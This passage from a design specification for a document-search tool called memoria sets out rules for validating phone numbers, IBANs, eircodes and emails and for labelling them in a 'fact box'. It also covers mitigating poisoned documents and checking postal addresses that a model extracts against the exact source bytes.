3226**Nothing new exists at rest, and nothing new exists in the index
3227either.** That is the strongest property this section has and it came
3228from deleting things.
3229
3230#### The recognisers, and what is not one
3231
3232A kind is in the box when a query word names it **and** a candidate
3233validates.
3234
3235| Kind | Primed by | Validated by |
3236|---|---|---|
3237| `eircode` | `eircode`, `postcode`, `post code` | routing key — a letter from `ACDEFHKNPRTVWXY`, a digit, then a digit or `W` — plus four characters from that set and the digits |
3238| `iban` | `iban`, `bank details` | country prefix, length by country, mod-97 |
3239| `vat` | `vat`, `vat number` | modern Irish format and its check letter |
3240| `phone` | `phone`, `telephone`, `tel`, `mobile`, `phone number` | **structural, and see below** |
3241| `email` | `email`, `email address`, `e-mail` | `local@domain`, domain carrying a dot, no whitespace — **weak, and see below** |
3242| `address` | `address`, `postal address`, `office address` | **none — this layer never produces one.** A §8.9 model kind; see there |
3243
3244**Three of these are checksums and two are not, and the section says so
3245rather than implying five.** An eircode's routing key is a closed set, an
3246IBAN has a mod-97 check, an Irish VAT number has a check letter derived
3247from its digits. These can be wrong, and a wrong one is refused.
3248
3249**`phone` has no checksum, so it gets a structural rule that is stated
3250here rather than left to the code: a bare run of digits is never a phone
3251number.** The span must carry a `+`, or separators grouping it. This is
3252not a hack bolted on to a weak validator — it is how documents write phone
3253numbers, and without it `rank_test.go`'s own corpus yields false
3254positives: `DUNS/D-U-N-S number is 985632364` is nine digits and a
3255plausible Irish mobile. **The cost is stated too:** a document writing
3256`0871234567` with no separators is not boxed. That is the safe direction,
3257and it is the direction a refusal should fail in.
3258
3259**Three structural rules came out of building it, and each one is here
3260because ordinary document text was boxed without it.** The implementation
3261review found all three live, not as mutations:
3262
3263- **A phone number uses one separator style throughout.** Mixed
3264 separators walk straight past the 9-or-10 bound above: *"The deadline
3265 is 01-02-2024 10:30"* matched `01-02-2024 10`, ten digits, valid, and
3266 boxed a date. Three styles, never mixed.
3267- **Four digit groups, or five with a country code — refused by count,
3268 never truncated.** *"Numbers drawn: 01 05 12 23 34"* canonicalises to
3269 ten digits and passes every other test, so something has to refuse it.
3270 **The count is the validator's job and not the pattern's**, and putting
3271 it in the pattern was a worse bug than the one it fixed: a pattern
3272 capped at three groups and five digits a group does not refuse a long
3273 number, it *shortens* it. *"Mobile: +353 87 1234567"* — the commonest
3274 international spelling of an Irish mobile — was boxed as
3275 **`+353 87 12345`**, and *"+49 30 12 34 56 78"* as `+49 30 12 34 56`.
3276 Both are well-formed numbers that pass every other check and are not
3277 the number in the document: §8.7's *"cites correctly while being
3278 wrong"*, manufactured by the guard meant to prevent it.
3279
3280 So the recogniser is generous, it must end on a word boundary or an
3281 extension, and the validator refuses by group count. **Germany and
3282 France genuinely write more groups than this and their numbers are
3283 refused.** That is the stated cost, and it is the right way round: a
3284 refusal shows nothing, a truncation shows a wrong number.
3285- **The international floor is ten digits, not E.164's eight.** Eight
3286 admits `+10 000 000` out of *"Growth of +10 000 000 users"*. A country
3287 code plus a national number reaches ten everywhere this corpus dials,
3288 and refusing a genuinely short international number is the safe
3289 direction.
3290
3291**One residual is stated rather than left to be found: an ALL-CAPS
3292heading.** `SEE FORM P45 THEN P60` still yields `P45 THEN`, because
3293case-sensitivity cannot separate an eircode from uppercase English, and
3294uploads do carry all-caps headings. No regex fixes this; only a label or
3295a dictionary would, and both are bigger than the problem. Recorded so the
3296next person finds the limit rather than the surprise.
3297
3298**And eircodes are matched case-sensitively**, which is not fussiness.
3299The identifier alphabet is most of the consonants, so case-insensitively
3300it matches lowercase English after a road number or a form code: *"Take
3301the N11 then exit at Bray"* boxed `N11 then`, and *"Form P45 then P60"*
3302boxed `P45 then`. A cited fact that is really an English word reads
3303exactly like a correct answer — §8.7's *"cites correctly while being
3304wrong"*, arriving from a character class. Eircodes are written uppercase;
3305a lowercase one going unrecognised is the cost and it is the right way
3306round.
3307
3308**`email` is kept and its weakness is stated rather than hidden.**
3309`local@domain` is closer to pattern-spotting than to validation. On a
3310corpus of uploads and Notion pages it is useful — one support address,
3311cited. On a corpus carrying forwarded mail (§4.2's source list) every
3312signature qualifies, the cap is passed, and the box is inert for that
3313kind. That is the cap working, and the failure direction is silence rather
3314than a wrong address.
3315
3316**`url` was in draft 1 and is dropped.** `scheme://host` is
3317pattern-spotting with nothing behind it, so every link in every document
3318qualifies and the box is inert immediately. It also collides with §8.5's
3319*"refuse links to non-suite hosts"* for no gain.
3320
3321**Nothing in the box is ever an anchor.** The value is text; the only link
3322the box carries is its citation, to `/documents/{id}#p{n}`. No `mailto:`,
3323no `href` built from a document's bytes.
3324
3325**`address` primes the postal-address kind, and `email address` primes
3326`email`** — longest phrase first, so the two cannot collide. Postal
3327address has no checksum, no fixed grammar and no length, so this layer has
3328nothing to validate it with and produces nothing for it. **It is §8.9's
3329first model kind**, which is what decision 15's amendment changed: before
3330it, "no validator" meant "not a kind"; now it means "not this layer's
3331kind".
3332
3333**`number` on its own primes nothing either.** The lexicon maps
3334distinctive words and phrases; generic words count only in combination.
3335
3336**This is `query.openers`' trade made in the opposite direction, and draft
33371 claimed it was the same one.** `openers` is deliberately stingy — *"the
3338safe direction is not priming"* — because a wrong prime navigates away
3339from a page somebody was reading. The fact lexicon can afford to be
3340generous, and the reason is the validator, not a shared instinct: "mobile
3341app" primes `phone`, finds no phone number, and renders nothing.
3342
3343**It complements Enter-priming rather than competing with it.**
3344`IsQuestion` declines to prime for anything ending in `?` or opening with
3345an interrogative, so "what's the office phone number?" navigates nowhere
3346today, and those are disproportionately the queries a fact box answers.
3347Where both fire — "office phone number", no question mark — **Enter still
3348goes to the first result, not to the box's citation.** The box is a thing
3349to read, not a destination; changing what Enter means depending on whether
3350a regular expression matched is the unreliable-Enter failure
3351`PrimesFirstResult` exists to avoid.
3352
3353#### The span, the canonical form, and this spec's two arithmetic rules
3354
3355**The span is what the document wrote**, byte for byte, including
3356punctuation, the `(0)`, and any extension written after it. It is what the
3357box displays and the only thing the box displays. Separators inside a span
3358include **U+00A0**, because Word and Notion paste non-breaking spaces and
3359the chunker does not normalise interior ones — a recogniser written with
3360Go's `\s`, which does not match U+00A0, silently finds nothing in pasted
3361text.
3362
3363**The canonical form is match-only.** It is what candidate identity is
3364keyed on, and what the validator runs on. It is **never rendered and never
3365an operand.** An Irish national number canonicalises to E.164 so that
3366`01 547 7854` and `+353 (0)1 547 7854` are recognised as one number rather
3367than two candidates.
3368
3369Two of this spec's own rules have to be read against that, and both are
3370ruled here rather than left to be found:
3371
3372- **§8.7 forbids *"memoria parsing a display string back into a number …
3373 a second parser"*.** What it forbids is a parse that feeds something
3374 memoria then shows or computes with — the `"€1.2M"` case. A canonical
3375 form that is never displayed and is never an operand is not that.
3376- **Decision 10 says memoria never does arithmetic.** A mod-97 check
3377 digit is arithmetic. It is not a number memoria reports: it decides
3378 whether a string is an IBAN at all. Decision 10 governs numbers in
3379 answers; a checksum is a predicate. **That is a narrowing of Paul's
3380 decision made by the spec author, and it is filed in §13 beside decision
3381 15's, rather than one being marked and the other slipped through.**
3382
3383**Draft 1's own example failed draft 1's own validator**, which is worth
3384keeping visible: `+353 (0)1 547 7854` is not E.164 — E.164 has no spaces
3385and no `(0)` — so "validated by E.164" was a rule the motivating case did
3386not pass. The table says *canonicalises to*, which is what was meant.
3387
3388#### The label, and the four ways it goes wrong
3389
3390**The label is taken from the document and is never composed.** Given the
3391span's position in the chunk text:
3392
33931. **Take the run back to the start of the enclosing sentence or line.**
3394 **If that run contains another recognised span, start after it** — in
3395 `Phone: 01 547 7854 - 01 598 1234` the second number's run would
3396 otherwise be `Phone: 01 547 7854 -`, labelling the second number with
3397 the first one's value.
3398
3399 **The spans it skips are of every kind, not only the kinds the query
3400 named**, and that is a rule rather than an implementation note: a
3401 label that depends on what was asked for is not the document's label.
3402 Asked for `phone` alone, *"Email paul@tito.io or phone: 01 547 7854"*
3403 came back labelled `Email paul@tito.io or phone` — one fact's value
3404 inside another's label, which is the exact failure this rule exists to
3405 stop, reappearing because the rule could not see the span.
34062. **If what remains ends in a separator** — `:`, `—`, `–`, `-`, `=`, tab
3407 — **and is non-empty after removing it and trimming, and is 60
3408 characters or fewer, that is the label.**
3409 **The gap between the separator and the value is not text
3410 (2026-10-26).** Spaces (Unicode Zs) are gaps, and so are the invisible
3411 marks that wrap a value: zero-width space, word joiner, BOM, the
3412 directional marks, and bidi embeddings, overrides and isolates. A tab
3413 is not a gap, because it is a separator. A line or paragraph separator
3414 is not a gap either; it is a boundary. Only that trailing gap is
3415 trimmed: bidi controls inside a label are the document's and stay.
3416 **The cause on Paul's live page is a hypothesis.** His
3417 `?explain=facts` screenshot showed every Office number falling back to
3418 the heading while the snippet showed `is:` beside the number. These are
3419 the characters macOS and common editors put there. A first version
3420 trimmed every Unicode space and format character, and review found
3421 that it lost tab separators, borrowed labels across line separators,
3422 and stripped a label's own bidi controls.
3423 **A value that starts its own line takes its label from the line
3424 above (2026-10-26).** This is what Paul's live Office page needed.
3425 Notion's soft line breaks put "The office phone number is:" on one line
3426 and the number on the next, so every number fell back to the heading.
3427 The search snippet joins lines with spaces, which hid this, and the
3428 invisible-gap rule above was a wrong first guess. The rule applies only
3429 when nothing but a list marker comes before the value on its own line.
3430 It takes the nearest non-blank line above, skipping lines that are
3431 only a value (so every number in a list under one label carries it).
3432 It stops at a heading, and it uses that line only if it ends in a
3433 separator, which is rule 2 applied one line up. Every protection rule 2
3434 has on one line holds one line up, because review found the first
3435 version broke each of them:
3436 - **List scope.** The label line may not be indented deeper than the
3437 value. A value line at a different indent belongs to another list,
3438 so the search stops there instead of skipping it.
3439 - **The earlier-span rule.** A recognised value on the label line ends
3440 the label, so `Phone: <number> -` labels nothing below it.
3441 - **The label's own characters stay.** Only spaces are trimmed at its
3442 start.
3443 - **The total lookback is maxLookback.** A label line that begins
3444 beyond it is treated as over-long (rule 4): no box, rather than a
3445 truncated label or the heading in its place.
34463. **Empty after the separator → fall through.** A markdown bullet is the
3447 case: the chunker keeps lines verbatim, so `- +353 1 547 7854` gives a
3448 run of `-`, which "ends in a separator" and yields nothing. Two such
3449 bullets give two empty labels, collide, and would have suppressed the
3450 box for a plain contact list.
34514. **Longer than 60 → no box for that kind.** Not the trail instead. The
3452 document labelled this value and the label will not fit, so
3453 substituting a vaguer one is memoria replacing the document's words
3454 with its own: *"The number you must never give to customers because it
3455 rings the CEO directly is: 01 598 1234"* becomes `Contacts`, sitting
3456 beside `Reception — 01 547 7854`. Dropping the candidate instead is
3457 worse, because that turns a two-candidate ambiguity into a confident
3458 single answer.
34595. **Otherwise the chunk's heading trail**, and if there is none — an
3460 upload with no headings, which is the common pasted-file shape — **the
3461 document title**, never the empty string.
3462
3463**A leading list marker is markup, not part of the label (2026-09-29).**
3464Rule 1 anchors the run at the start of the line, and a list item's line
3465starts with its marker. So `- Office: 01 547 7854` was labelled `- Office`,
3466and a to-do item `- [x] Office: …` was labelled `- [x] Office`. For a
3467Notion page, memoria's own renderer wrote that marker
3468(`notion/markdown.go` renders bulleted items and toggles as `- `, to-do
3469items as `- [ ] `/`- [x] `, quotes as `> `), so the label carried memoria's
3470syntax as though the document had written it. (A numbered item's `3. `
3471was already dropped, because the sentence split treats a full stop after
3472a digit as a sentence end. An earlier draft of this paragraph said
3473otherwise.)
3474
3475**The rule:** before rule 2 runs, the run — from where rules 1 and 1's
3476earlier-span clause start it, up to the value — loses its leading
3477indentation and one leading marker: `-`, `*`, `+` or `•`, each followed
3478by a space; `N.` or `N)` followed by a space; either of those followed by
3479`[ ]` or `[x]`; or `>` followed by a space. A bare bullet (`- +353 1 547
34807854`) is untouched: its run is trimmed on the right to `-`, which has no
3481space after the marker and so is not one, and rule 3 still sends it to
3482the trail, exactly as before. The
3483cost is stated beside narrowing's other limitations: a literal prefix
3484shaped like a marker cannot be told apart from markup.
3485
3486**Draft 1 required the value to start its own line and capped the label at
348740, and the repo's own fixture is what breaks that.**
3488`index/rank_test.go:56` — built from the live instance where Paul hit this
3489— holds one chunk reading:
3490
3491> *"Turn the knob. The office phone number is: +353 (0)1 547 7854. We
3492> also have the following unused phone numbers: +353 (0)1 598 1234."*
3493
3494Under draft 1 both numbers are mid-paragraph, both fall to the heading
3495trail, and both come back labelled `Office Address`: two identical labels,
3496one of which the document explicitly calls **unused**. The box would have
3497shown them as equals with the disambiguating word one clause away. That is
3498§8.7's *"cites correctly while being wrong"* in a lookup coat. Sentence
3499anchoring fixes it by doing less: the labels become *"The office phone
3500number is"* and *"We also have the following unused phone numbers"*, and
3501the reader can see which is which because the document said so.
3502
3503**The sentence split is naive, and draft 2's claim that it fails safely is
3504false.** A boundary placed too *late* yields a shorter run that still
3505passes every test above: `Dr. Smith's direct line: 01 …` yields
3506`Smith's direct line`, and `St. Stephen's Green office: …` yields
3507`Stephen's Green office`. **That is a label the document did not write,
3508produced by the rule whose entire justification is that it never
3509composes.** A short fixed exception list — `Dr. Mr. Mrs. Ms. St. No. ext.
3510Ltd. Co.` — covers the common cases and is **stated as incomplete**. It
3511must not grow into a sentence tokeniser; where it is wrong it is wrong in
3512the composing direction, and saying so is the difference between a known
3513limit and a discovered one.
3514
3515**60 characters is a guess.** What is not a guess is that it must clear
3516the motivating fixture, whose longer label is 47.
3517
3518#### Candidates, ambiguity, the cap, and one box per kind
3519
3520**A candidate is one canonical value.** The same number in five forwarded
3521signatures is **one** candidate, cited to the best-ranked passage carrying
3522it. Two different numbers in one chunk are **two** — the fixture above is
3523exactly that shape, and treating a chunk as the unit would hide the
3524second.
3525
3526**Every rule below is applied per kind, and a multi-kind query renders one
3527box per kind.** A cap counted across kinds would let two phone numbers and
3528two email addresses suppress each other, and a collision check across
3529kinds would suppress a phone and an email that happened to share a label.
3530
3531§8.7's slot rule is *"two or more → ambiguity, never extra evidence, and
3532never collapsed"*, and it resolves that by showing no number. **The fact
3533box shows all of them instead, and the difference is not inconsistency.**
3534An average built from two of three operands is a *wrong number*: the
3535question had one answer and memoria produced a different one. Two phone
3536numbers are two *right answers* to an underspecified question. §8.7's
3537ambiguity is incompleteness, which can only be refused; this one is
3538underspecification, honestly served by showing both, labelled and cited.
3539
3540**Never by picking — in the box.** Not highest BM25, not first, not
3541longest. Rank order sorts a result list and carries no claim about which
3542number is the office one. **Paul ruled a separate surface for guessing on
35432026-10-26** (§8.10): when the box renders nothing, the page may show a
3544*best guess*, marked as one, beside a way to correct it. The box itself
3545still never picks. **The one narrowing allowed is a match between the reader's words
3546and the document's own label, and only once the cap has fired** (Paul,
35472026-09-29, below). That is not picking in this paragraph's sense: no
3548score and no order are involved, every candidate is treated the same,
3549and when two labels match, nothing renders.
3550
3551**A box row carries the document title and the heading trail as well as
3552the label**, exactly as a result row carries both and for the reason
3553recorded there: two pages called "Contact" under different documents are
3554the same row to a reader who cannot see which is which.
3555
3556**Two candidates whose whole citation line collides — same title, same
3557trail, same label — render no box.** Keyed on the line rather than the
3558label alone, because a supplier page and the office page both falling to
3559the trail `Contact` are perfectly disambiguated by their titles, and
3560suppressing that box would be losing a real answer to a rule aimed at a
3561different problem. Where the whole line does collide, the page would show
3562one identical row twice against two different values — not an enumeration
3563but a contradiction with no way for the reader to resolve it, and the
3564results list is the honest surface for that.
3565
3566**Capped at three inclusive: three renders, four renders nothing.**
3567
3568#### Narrowing by the reader's own words (Paul, 2026-09-29)
3569
3570**The ruling.** Paul asked why *"what is the office phone number?"* showed
3571no box, on a page whose second result says *"The office phone number is:
3572+353 (0)1 547 7854"*. The proposal he approved (*"Sure."*), in the words
3573he was shown:
3574
35751. *"When there are too many candidates, use the other words in the
3576 question ("office") to narrow them down. If exactly one candidate's
3577 label contains them, show that one."*
35782. *"Treat " - " as a break when working out labels."*
35793. *"Keep the current rule as the fallback: if narrowing doesn't leave
3580 exactly one candidate, still show nothing rather than guess."*
3581
3582**This section implements 1 and 3 as he approved them, and 2
3583differently, for a reason he has not yet been told.** Part 2's premise
3584was wrong. The ` - ` he saw was the search snippet flattening Notion's
3585list lines. The stored text has real line breaks, which the label rule
3586already treats as a boundary. The actual defect is the list marker
3587those lines start with, and the list-marker rule above fixes that. **An
3588earlier draft of this section went further than the ruling**: it
3589narrowed below the cap, and it showed every match rather than exactly
3590one. The first review caught both, and this text is back to the ruling.
3591
3592**When it applies: only when the cap has fired.** If a kind has more
3593than three candidates after the §4.1 ruling, it would render nothing,
3594and narrowing is attempted. Otherwise nothing changes: a kind with three
3595or fewer candidates renders or is suppressed by collision or rule 4
3596exactly as before, and the reader's words play no part.
3597
3598**The qualifiers** are the query's tokens (`fact.tokens`: lowercased, split
3599on anything that is not a letter or digit) with these removed:
3600
3601- every token of every lexicon phrase, for every kind, so `phone`,
3602 `mobile`, `email`, `address`, `vat` and the rest are never qualifiers;
3603- the generic `number`, `numbers`, `no` and `nr`;
3604- a fixed list of question and function words: interrogatives, articles,
3605 pronouns, auxiliaries, common prepositions, and request verbs such as
3606 `tell`, `give`, `find` and `show`. The list is in the code, it is
3607 stated as incomplete, and like the abbreviation list it must not grow
3608 into a parser;
3609- single-character tokens, which disposes of the `s` in `what's` and
3610 `Tito's`.
3611
3612Pinned examples: *"what is the office phone number?"* → `{office}`;
3613*"office phone"* → `{office}`; *"office mobile"* → `{office}`, because
3614`mobile` is how Phone is asked for; *"what's Tito's phone number"* →
3615`{tito}`; *"phone number for the Dublin office"* → `{dublin, office}`;
3616*"support email"* → `{support}`; *"phone number"* → none.
3617
3618**A candidate matches when its label is the document's own and contains
3619every qualifier as a whole token.**
3620
3621- **"The document's own" means rule 2**, the sentence-anchored label
3622 ending in a separator. A rule 5 label (the heading trail, or the
3623 title) never matches. This is what makes narrowing work on the
3624 motivating page. The unused numbers there are listed under the heading
3625 `Office Address`, so a rule that matched fallback labels would match
3626 every number on the Office page, unused ones included, and could never
3627 leave exactly one. **Provenance is recorded when the label is made
3628 (`fact.Found.Own`), never inferred** by comparing the label's text
3629 with the heading. A document can write a label identical to its own
3630 heading.
3631- **Whole tokens, compared on `fact.tokens`**, so `office` does not
3632 match `offices` or `backoffice`. There is no stemming.
3633- **Every qualifier, not any.** `Dublin office` does not match a label
3634 saying `Office phone`.
3635
3636**The outcome, for a kind over the cap:**
3637
3638- **Exactly one candidate matches:** that candidate renders, alone. If
3639 its label is over-long (rule 4), the kind renders nothing: the
3640 document's own words are the answer, and they cannot be shown. Rule 4
3641 is kept for matching only. `fact.Scan` returns the over-long text with
3642 `NoBox` set, and it is never rendered.
3643- **None, or two or more:** nothing renders, as before. Narrowing never
3644 picks between two matches.
3645
3646**The box says it narrowed.** Under the row, one line:
3647
3648> Matched “office”. 3 other phone numbers are in these results.
3649
3650It names the matched qualifiers and the number of candidates left out,
3651which is always at least three because the cap had fired. The count is
3652taken after the §4.1 ruling, like every other count in this section, so
3653a withheld document neither adds to it nor is revealed by it. It carries
3654no values and no links: the results list below is where the others are.
3655
3656**Why this line is required: narrowing weakens this section's injection
3657defence, and the line is what keeps that visible.** *"Injection"* below
3658says the ambiguity rule fails safe against poisoning: a planted second
3659number makes the box show both, or nothing. Narrowing changes that in
3660one case. On a page already over the cap, a planted number whose label
3661alone contains the reader's word becomes the only row: a single,
3662confident, cited answer. The count line is the mitigation. It tells the
3663reader that other numbers exist and that the box chose among them on
3664the reader's own word. It is not a fix, and this spec does not claim
3665one.
3666
3667**Stated limitations, so that they are known rather than discovered:**
3668
3669- **Only the value right after the separator gets the label.** In
3670 `Office: 01 547 7854, 01 598 1234`, only the first number is labelled
3671 `Office`. The second follows another recognised span, not a
3672 separator, so it falls to the trail and can never match. The same
3673 applies to `Office:` followed by bare bullets.
3674- **Identity comes before matching.** A value's first occurrence is its
3675 candidate. If that occurrence fell to the trail, a later occurrence of
3676 the same value with a matching label does not rescue it.
3677- **Multi-kind queries share one set of qualifiers.** *"office phone and
3678 support email"* applies `{office, support}` to both kinds. Usually no
3679 label has both, and neither kind is narrowed.
3680- **The lexicon limits which kinds are recognised at all.** *"main office
3681 landline"* primes no kind (`landline` is not in the lexicon), so no box
3682 is attempted.
3683- **A literal prefix shaped like a list marker is indistinguishable from
3684 markup.** A document whose label genuinely begins `2. ` loses it.
3685
3686
3687**The box can explain itself (2026-10-26).** Narrowing went live and
3688the box still did not appear on Paul's real Office search. Nobody but the
3689reader can see the passages: they are sealed, and nothing about them is
3690logged. So the search page accepts `?explain=facts`. For every
3691deterministic kind the query named, it lists each candidate's value,
3692label, whether the label is the document's own (rule 2), whether it is
3693over-long (rule 4), and whether it matches the narrowing words. It also
3694gives the one sentence naming which rule decided the kind. The account
3695is built from the same ruled candidates as the box (`ruleKind` returns
3696both), so it shows nothing from a withheld passage and counts nothing
3697from one. Every value and label in it comes from a passage in the
3698reader's own results, so it shows nothing they could not already open.
3699Nothing links to it, and nothing in it is logged. It is part of the
3700results region, so the fragment carries it too when asked.
3701
3702**Model kinds are not narrowed.** §8.9's candidates come from a model
3703reading passages, so there is no document-authored separator label to
3704match. They keep §8.9's own rules.
3705
3706**Nothing here is logged**, as in the rest of this section: the
3707qualifiers are words from the query, and the query is content.
3708
3709#### Where it sits on the page
3710
3711Inside the `results` template definition, not above it. `results.html` is
3712rendered two ways from one definition — inside the page on a scriptless
3713submit, alone on `GET /search` for `search.js` — and a box outside it
3714would sit above a fragment that swapped underneath it, leaving query N−1's
3715answer over query N's results on every keystroke.
3716
3717**Below §6.5's notices and above the list.** `results.html` already puts
3718the withholding callout above the results because *"a reader who scrolls
3719past the last result has already decided what the page means"*. A
3720confident single answer above the line saying the page is partial is the
3721same mistake reversed.
3722
3723**Search page only.** Decision 14 makes the search page and
3724`/documents/{id}` the only two passage surfaces, and this is a feature of
3725one of them.
3726
3727**Zero candidates renders nothing at all** — not "no phone number found".
3728The corpus is not the world, and a confident absence is this codebase's
3729own worst failure shape.
3730
3731**Gate 14's first clause extends to the box** — every character of it
3732traces to a cited passage. **Its second does not.** "An all-dropped answer
3733says so rather than rendering empty" exists because an empty 🤖 paragraph
3734is indistinguishable from AI being off; a box that does not appear is
3735indistinguishable from nothing, which is what it means.
3736
3737#### Injection, and the one place ambiguity pays for itself
3738
3739§8.5's mitigation for a poisoned document is that every claim carries an
3740openable citation, and that it is a partial one. The box sharpens the
3741problem: it promotes a single document's assertion to the top of the page
3742with a validated-looking format around it. `Office phone: +353 1 000 0000`
3743in an uploaded file is a fact box, and no model was involved in believing
3744it.
3745
3746Two things bound it and neither is a fix:
3747
3748- The value is a cited span of a passage that passed §4.1, so the reader
3749 can open it, and a poisoned document is one somebody in this team put in
3750 this corpus.
3751- **The ambiguity rule fails safe against poisoning.** A planted second
3752 number does not replace the real one and does not outrank it — it makes
3753 the box show both, or show nothing if the whole citation line collides,
3754 or vanish past the cap. The attack that works against a single-answer
3755 box degrades into a visibly contradictory page, which is a property
3756 worth keeping rather than an accident to optimise away.
3757 **Narrowing (above, 2026-09-29) weakens this in one case.** On a page
3758 already over the cap, a planted label that alone carries the reader's
3759 word becomes the only row. The "Matched … N other …" line is what keeps
3760 the other candidates visible. That section states this rather than
3761 leaving it to be found.
3762
3763#### Sequencing
3764
3765**Slice 0, entirely.** Recognisers, the lexicon, the label rule, the box
3766and gates 35–37 need no sibling and no model. **Gate 34 needs a custody
3767fake that rules per item**, which `fixedCustody` is not — it returns one
3768disposition for every candidate from a single field — so the gate lands
3769with a fake extended to answer per item id, in `internal/memoria` at store
3770level, which is where its "assert the struct, not the page" demand is
3771natural anyway. Drafts 1 and 2 both said this gate could run against
3772"`memoriatest`'s sibling stub, which exists"; there is no such stub, and
3773that is the renamed-test failure §10 opens with, committed twice in the
3774section that cites it.
3775
3776### 8.9 The model half: metadata deterministic analysis cannot reach
3777
3778Paul's ruling, 2026-09-19, amending decision 15: *"do as much as possible
3779with deterministic analysis, and then attempt to build metadata with the
3780best value models via TensorX that make sense."*
3781
3782The question put to him was narrow — should a postal address, which has
3783no checksum and therefore no validator, be extractable by a model? **The
3784answer he gave is general**: the deterministic layer is the floor and not
3785the ceiling, and where it cannot reach, a best-value TensorX model may.
3786**Everything below that sentence is the spec author's proposal for how**,
3787and decision 15's row says which parts are his and which are not.
3788
3789**Draft 1 of this section overclaimed, and a review by Codex GPT-6-Astra
3790(2026-09-27) is why it no longer does.** It said "the model proposes, a
3791string comparison disposes" and that a hallucinated address "cannot reach
3792the page". The check it described proves where a value's **bytes** came
3793from. It does not prove the value is an address, that it is the whole
3794address, that it is the relevant one, or that the model returned every
3795address it was shown. Those are four model judgements, and this section
3796now says so instead of implying the check makes them.
3797
3798#### Which kinds, decided by the kind and never by the outcome
3799
3800**Eligibility is a property of the kind.** A fixed allowlist of *model
3801kinds* — today exactly one, `address` — may be sent to a model. **A
3802validator-backed kind never is**, whatever the deterministic layer did
3803with it: produced candidates, produced none, or produced some that the cap,
3804a collision or an over-long label then suppressed (§8.8). Draft 1 said the
3805model runs "where the deterministic layer produced nothing", which invites
3806treating an empty box as nothing; the box is empty for five different
3807reasons in §8.8, and none of them is licence to ask a model for a phone
3808number.
3809
3810**Kinds are independent.** "Phone number and postal address" is two
3811requests: the phone goes to §8.8, the address to this section, and a
3812validated phone does not suppress the address request or the reverse.
3813
3814**"No model is called" is a claim about this metadata path, per kind.**
3815§8.2's router runs after the box and may call a model for an answer
3816regardless; §8.8 says so and this does not change it.
3817
3818**With AI off, nothing in this section happens** and §8.8 is unchanged.
3819Decision 5's floor is the search page and the deterministic box.
3820
3821**Built ahead of the rest of slice 2**, on `feat/model-fallback`
3822(2026-09-27): the provider client, the `MEMORIA_AI` switch, this
3823section's extraction path and gate 39 — and nothing of the embedding
3824half. §11 sequences provider calls into slice 2; this is the first of
3825them to land. Draft 1 said gate 31 enforced the sequencing; it did not —
3826gate 31 forbids logging a provider's response body and says nothing about
3827when a provider may be called. What keeps content in the instance today
3828is the switch: with `MEMORIA_AI` unset no extractor is wired and gate 39
3829asserts, with its presence half, that no request is made.
3830
3831#### What is sent
3832
3833**Of the top eight ruled results, those still present, by rank** — the
3834passages §4.1 allowed in this request, bounded at eight to match §8.6's
3835answer-time budget. **Bounded by rank first and then thinned, never
3836refilled**: a chunk deleted between the ruling and the read makes the
3837payload smaller; it does not let result nine in. (The first build counted
3838survivors instead, and a review deleted result one and watched 2-9 go
3839out.) Not the twenty-five §8.8 scans: an address in result eleven is a
3840recall limit this section accepts in exchange for a bounded payload and a
3841response inside the deadline. Each passage is sent with an index, and
3842nothing else about it — no title, no path, no id.
3843
3844**Not on keystrokes (2026-10-26).** This path used to run on every
3845debounced keystroke of a query that named a model kind. Paul found live
3846results slow, and a keystroke could wait up to the deadline below. Now
3847`search.js` marks a keystroke's request `typing=1`, and
3848`Store.SearchWhileTyping` builds the results and §8.8's box under the same
3849§4.1 ruling, but never calls the model. The fragment carries
3850`[rst-facts-deferred]` when it skipped the step. Once typing has paused
3851for 450 ms with the same query in the box, `search.js` makes one request
3852without the flag, and that request runs this path. That holds even if the
3853last keystroke changed nothing after trimming, such as a space or a
3854letter typed and taken back; a review found the request was lost in that
3855case. **Passages are not sent once per query, only less often:** the
3856settled request sends them, and pressing Enter or reloading is another
3857full request that sends them again. The footer says "once you stop
3858typing", and the README says the rest.
3859
3860**A question's opening is not searched for (2026-10-26).** "who is Paul
3861Campbell" ranked a team list that only names him as its owner above his
3862own People page, because "who" and "is" also matched its body. In an OR
3863query they are not neutral. `index.dropQuestionFraming` removes the
3864opening of a query that starts with a question word: the question word,
3865the helper verbs straight after it, and one determiner after those. So
3866"what is the office phone number" searches "office phone number".
3867
3868It removes **only the opening**. A first version dropped such words
3869anywhere, and review found it erasing subjects: "Will Turner", "May
3870revenue", "IT support", "US tax". A query that is nothing but framing is
3871searched as typed.
3872
3873**While typing, the last word matches as a prefix (2026-10-26).**
3874Whole-token matching made live search find nothing on the way to a word:
3875"offi" matched no passage, so the list emptied until "office" was
3876complete. `index.SearchTyping` (`MatchQueryTyping`) makes the last term
3877an FTS5 prefix term when it is at least two characters. Only keystroke
3878requests use it. A submitted page, Enter, a settled request and the
3879native API all use whole words, because the text arrives trimmed and
3880"finished" cannot be read from a trailing space. Non-ASCII terms now keep
3881only letters, digits and combining marks, so a dash ends a term as
3882unicode61 says it does. The debounce is 40 ms, down from 120 ms.
3883
3884**Egress is the existing category with a new trigger**, and §3.2 now says
3885both halves: the same recipient and the same kind of transmission as the
3886answer path, but sent when a query names a model kind whether or not a
3887generated answer would follow. **The README names it now**, because
3888unlike the answer path it exists: it says what is sent, to whom, when,
3889and that live searches count. §3.6 is the full assistant's paragraph and
3890records why it is not yet the README's; §8.3 names this trigger beside
3891embeddings and answers.
3892
3893**If decision 16 lands** — TensorX as zero-data-retention, treated as
3894equivalent to local inference, proposed on `design/zdr-treat-as-local` —
3895the retention wording here and in §3.2 aligns with it. **The transmission
3896disclosure does not go**: decision 16 changes what is retained, not what
3897is sent, and it says so itself.
3898
3899#### What comes back, and what memoria checks
3900
3901**The response contract** asks for every postal address in the sent
3902passages, as a list of `{passage: <index>, text: <exact bytes>}`, and
3903nothing else. **A response the provider marks truncated is rejected
3904whole**, not partially used; a malformed one likewise.
3905
3906**Each proposal becomes a coordinate or is dropped.** For every returned
3907`{passage, text}`:
3908
39091. `passage` must name a passage that was sent. A reference to a passage
3910 that was not sent — including an authorised result ranked ninth, which
3911 was never in the request — is dropped.
39122. `text` must be non-empty, at least 12 bytes, and contain a digit, a
3913 comma or a line break — **structural, not a validator**, and there to
3914 stop `Dublin` or `1` passing because they occur somewhere.
39153. **`text` is located in that passage by exact byte search — no
3916 normalisation of case, whitespace, quotes or Unicode form.** NBSP versus
3917 space, curly versus straight quotes, a line break flattened to a space:
3918 each is a refusal, deliberately. A span crossing two passages is a
3919 refusal. These are real recall limits and they are chosen over any
3920 mapping back to source bytes, which would be a second parser (§8.7).
39214. **The first occurrence in that passage, by byte offset, is the one** —
